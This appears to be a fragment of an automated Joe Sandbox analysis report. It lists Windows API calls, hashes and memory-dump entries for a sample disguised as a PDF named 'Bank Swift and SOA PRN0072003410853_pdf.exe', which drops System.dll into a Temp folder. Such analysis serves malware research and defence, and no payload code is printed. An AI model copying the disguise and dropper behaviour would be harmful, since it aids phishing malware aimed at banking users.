                                                                                                            • API String ID: 1974802433-0
                                                                                                            • Opcode ID: e985ba924887a1bc27921ead0041ac8d1a9f7f1065ea0f82ea0bc3cd49787025
                                                                                                            • Instruction ID: c3eebe46d33317c4d9c4db9deeb30b83dd141210d4acf70d00b973005abdca29
                                                                                                            • Opcode Fuzzy Hash: e985ba924887a1bc27921ead0041ac8d1a9f7f1065ea0f82ea0bc3cd49787025
                                                                                                            • Instruction Fuzzy Hash: 81F05EB1614114DBDB00DBA4DD499AEB378FF14318F20097AE141F31D0D6B45940DB2A
                                                                                                            APIs
                                                                                                            • CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040436A
                                                                                                            • GetDlgItem.USER32(?,000003E8), ref: 0040437E
                                                                                                            • SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040439B
                                                                                                            • GetSysColor.USER32(?), ref: 004043AC
                                                                                                            • SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043BA
                                                                                                            • SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043C8
                                                                                                            • lstrlenW.KERNEL32(?), ref: 004043CD
                                                                                                            • SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043DA
                                                                                                            • SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043EF
                                                                                                            • GetDlgItem.USER32(?,0000040A), ref: 00404448
                                                                                                            • SendMessageW.USER32(00000000), ref: 0040444F
                                                                                                            • GetDlgItem.USER32(?,000003E8), ref: 0040447A
                                                                                                            • SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044BD
                                                                                                            • LoadCursorW.USER32(00000000,00007F02), ref: 004044CB
                                                                                                            • SetCursor.USER32(00000000), ref: 004044CE
                                                                                                            • ShellExecuteW.SHELL32(0000070B,open,00427180,00000000,00000000,00000001), ref: 004044E3
                                                                                                            • LoadCursorW.USER32(00000000,00007F00), ref: 004044EF
                                                                                                            • SetCursor.USER32(00000000), ref: 004044F2
                                                                                                            • SendMessageW.USER32(00000111,00000001,00000000), ref: 00404521
                                                                                                            • SendMessageW.USER32(00000010,00000000,00000000), ref: 00404533
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
                                                                                                            • String ID: CB@$Call$N$open
                                                                                                            • API String ID: 3615053054-4184941720
                                                                                                            • Opcode ID: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
                                                                                                            • Instruction ID: ed67d3ceb40554f4a20f9fe4cecdec295417cbe43b6f72f0b7bb3cee00e3d4b7
                                                                                                            • Opcode Fuzzy Hash: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
                                                                                                            • Instruction Fuzzy Hash: 037173B1A00209BFDB109F64DD45A6A7B69FB84315F00813AF705BA2D0C778AD51DF99
                                                                                                            APIs
                                                                                                            • lstrcpyW.KERNEL32(00425D70,NUL,?,00000000,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C18
                                                                                                            • CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C3C
                                                                                                            • GetShortPathNameW.KERNEL32(00000000,00425D70,00000400), ref: 00405C45
                                                                                                              • Part of subcall function 00405ABB: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
                                                                                                              • Part of subcall function 00405ABB: lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD
                                                                                                            • GetShortPathNameW.KERNEL32(?,00426570,00000400), ref: 00405C62
                                                                                                            • wsprintfA.USER32 ref: 00405C80
                                                                                                            • GetFileSize.KERNEL32(00000000,00000000,00426570,C0000000,00000004,00426570,?,?,?,?,?), ref: 00405CBB
                                                                                                            • GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405CCA
                                                                                                            • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
                                                                                                            • SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425970,00000000,-0000000A,00409544,00000000,[Rename],00000000,00000000,00000000), ref: 00405D58
                                                                                                            • WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405D6A
                                                                                                            • GlobalFree.KERNEL32(00000000), ref: 00405D71
                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00405D78
                                                                                                              • Part of subcall function 00405B56: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe,80000000,00000003), ref: 00405B5A
                                                                                                              • Part of subcall function 00405B56: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
                                                                                                            • String ID: %ls=%ls$NUL$[Rename]$p]B$peB
                                                                                                            • API String ID: 1265525490-3322868524
                                                                                                            • Opcode ID: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
                                                                                                            • Instruction ID: dd28b8746f6bac9015e409c36d2f5baf321d2fce784c03eddf9b1c2e257c4ca8
                                                                                                            • Opcode Fuzzy Hash: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
                                                                                                            • Instruction Fuzzy Hash: 9741E271604B19BBD2216B715C4DF6B3B6CEF41754F14453BBA01B62D2EA3CA8018EBD
                                                                                                            APIs
                                                                                                            • DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
                                                                                                            • BeginPaint.USER32(?,?), ref: 00401047
                                                                                                            • GetClientRect.USER32(?,?), ref: 0040105B
                                                                                                            • CreateBrushIndirect.GDI32(00000000), ref: 004010CF
                                                                                                            • FillRect.USER32(00000000,?,00000000), ref: 004010E4
                                                                                                            • DeleteObject.GDI32(?), ref: 004010ED
                                                                                                            • CreateFontIndirectW.GDI32(?), ref: 00401105
                                                                                                            • SetBkMode.GDI32(00000000,00000001), ref: 00401126
                                                                                                            • SetTextColor.GDI32(00000000,000000FF), ref: 00401130
                                                                                                            • SelectObject.GDI32(00000000,?), ref: 00401140
                                                                                                            • DrawTextW.USER32(00000000,004281E0,000000FF,00000010,00000820), ref: 00401156
                                                                                                            • SelectObject.GDI32(00000000,00000000), ref: 00401160
                                                                                                            • DeleteObject.GDI32(?), ref: 00401165
                                                                                                            • EndPaint.USER32(?,?), ref: 0040116E
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                                                                                            • String ID: F
                                                                                                            • API String ID: 941294808-1304234792
                                                                                                            • Opcode ID: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
                                                                                                            • Instruction ID: 126a239e0572de30fb8c34ac70cebce50066b6690b2383a097db7944ba687981
                                                                                                            • Opcode Fuzzy Hash: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
                                                                                                            • Instruction Fuzzy Hash: DA419A71804249AFCB058FA5DD459BFBFB9FF48310F00802AF951AA1A0C738EA51DFA5
                                                                                                            APIs
                                                                                                            • CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 004061E1
                                                                                                            • CharNextW.USER32(?,?,?,00000000), ref: 004061F0
                                                                                                            • CharNextW.USER32(?,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 004061F5
                                                                                                            • CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 00406208
                                                                                                            Strings
                                                                                                            • *?|<>/":, xrefs: 004061D0
                                                                                                            • C:\Users\user\AppData\Local\Temp\, xrefs: 0040617F, 00406184
                                                                                                            • "C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe", xrefs: 004061C2
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Char$Next$Prev
                                                                                                            • String ID: "C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
                                                                                                            • API String ID: 589700163-2359865337
                                                                                                            • Opcode ID: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
                                                                                                            • Instruction ID: e0619f79a043cffb4c3b00824a243f33de9385cd0f0c41224b0956f888f04927
                                                                                                            • Opcode Fuzzy Hash: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
                                                                                                            • Instruction Fuzzy Hash: 3511C47680021295EB307B548C40BB762F8EF957A0F56403FE996B72C2E77C5C9282BD
                                                                                                            APIs
                                                                                                            • WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsh20B3.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsh20B3.tmp\System.dll,00000400,?,?,00000021), ref: 0040252F
                                                                                                            • lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsh20B3.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsh20B3.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsh20B3.tmp\System.dll,00000400,?,?,00000021), ref: 00402536
                                                                                                            • WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nsh20B3.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 00402568
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: ByteCharFileMultiWideWritelstrlen
                                                                                                            • String ID: 8$C:\Users\user\AppData\Local\Temp\nsh20B3.tmp$C:\Users\user\AppData\Local\Temp\nsh20B3.tmp\System.dll
                                                                                                            • API String ID: 1453599865-2623895600
                                                                                                            • Opcode ID: c163f65ad7e3cc19a1ecb41abf68fb20e754719ac06291c3626fea40b4e8fc87
                                                                                                            • Instruction ID: b6741c74acf97665735c623be1ff62c12e58b25bca11cb73faf7774dd427f28f
                                                                                                            • Opcode Fuzzy Hash: c163f65ad7e3cc19a1ecb41abf68fb20e754719ac06291c3626fea40b4e8fc87
                                                                                                            • Instruction Fuzzy Hash: A5019671A44204FBD700AFA0DE49EAF7278AB50319F20053BF102B61D2D7BC5D41DA2D
                                                                                                            APIs
                                                                                                            • GetWindowLongW.USER32(?,000000EB), ref: 004041B3
                                                                                                            • GetSysColor.USER32(00000000), ref: 004041CF
                                                                                                            • SetTextColor.GDI32(?,00000000), ref: 004041DB
                                                                                                            • SetBkMode.GDI32(?,?), ref: 004041E7
                                                                                                            • GetSysColor.USER32(?), ref: 004041FA
                                                                                                            • SetBkColor.GDI32(?,?), ref: 0040420A
                                                                                                            • DeleteObject.GDI32(?), ref: 00404224
                                                                                                            • CreateBrushIndirect.GDI32(?), ref: 0040422E
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                                                                                            • String ID:
                                                                                                            • API String ID: 2320649405-0
                                                                                                            • Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
                                                                                                            • Instruction ID: 80eb99ce468fafd782bf4c41e5e54efb1aa93a8fb2f83beca87368335cd0d861
                                                                                                            • Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
                                                                                                            • Instruction Fuzzy Hash: B221C6B1904744ABCB219F68DD08B4B7BF8AF40710F04896DF951F26E1C738E944CB65
                                                                                                            APIs
                                                                                                            • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
                                                                                                            • GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
                                                                                                            • GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
                                                                                                            • WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
                                                                                                            • GlobalFree.KERNEL32(00000000), ref: 00402877
                                                                                                            • CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
                                                                                                            • DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Global$AllocFileFree$CloseDeleteHandleWrite
                                                                                                            • String ID:
                                                                                                            • API String ID: 3294113728-0
                                                                                                            • Opcode ID: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
                                                                                                            • Instruction ID: c52f99eb37a0f9a93b384f1dc8ea19ce670fa72408cf6cd502fc0ac50d833161
                                                                                                            • Opcode Fuzzy Hash: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
                                                                                                            • Instruction Fuzzy Hash: AC31A072C00118BBDF11AFA5CE49DAF7E79EF05364F20423AF510762E1C6796E418BA9
                                                                                                            APIs
                                                                                                            • lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
                                                                                                            • lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
                                                                                                            • lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
                                                                                                            • SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
                                                                                                            • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
                                                                                                            • SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
                                                                                                            • SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend$lstrlen$TextWindowlstrcat
                                                                                                            • String ID:
                                                                                                            • API String ID: 2531174081-0
                                                                                                            • Opcode ID: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
                                                                                                            • Instruction ID: f08454111491fc0d39351af24b8902c1f97f976603b555b028d64c931b302e29
                                                                                                            • Opcode Fuzzy Hash: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
                                                                                                            • Instruction Fuzzy Hash: 42219D71900518BACB119FA5DD84ADFBFB8EF44354F54807AF904B62A0C7798A41DFA8
                                                                                                            APIs
                                                                                                            • DestroyWindow.USER32(00000000,00000000), ref: 00402D35
                                                                                                            • GetTickCount.KERNEL32 ref: 00402D53
                                                                                                            • wsprintfW.USER32 ref: 00402D81
                                                                                                              • Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
                                                                                                              • Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
                                                                                                              • Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
                                                                                                              • Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F
                                                                                                            • CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402DA5
                                                                                                            • ShowWindow.USER32(00000000,00000005), ref: 00402DB3
                                                                                                              • Part of subcall function 00402CFE: MulDiv.KERNEL32(000263DC,00000064,00028BCA), ref: 00402D13
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
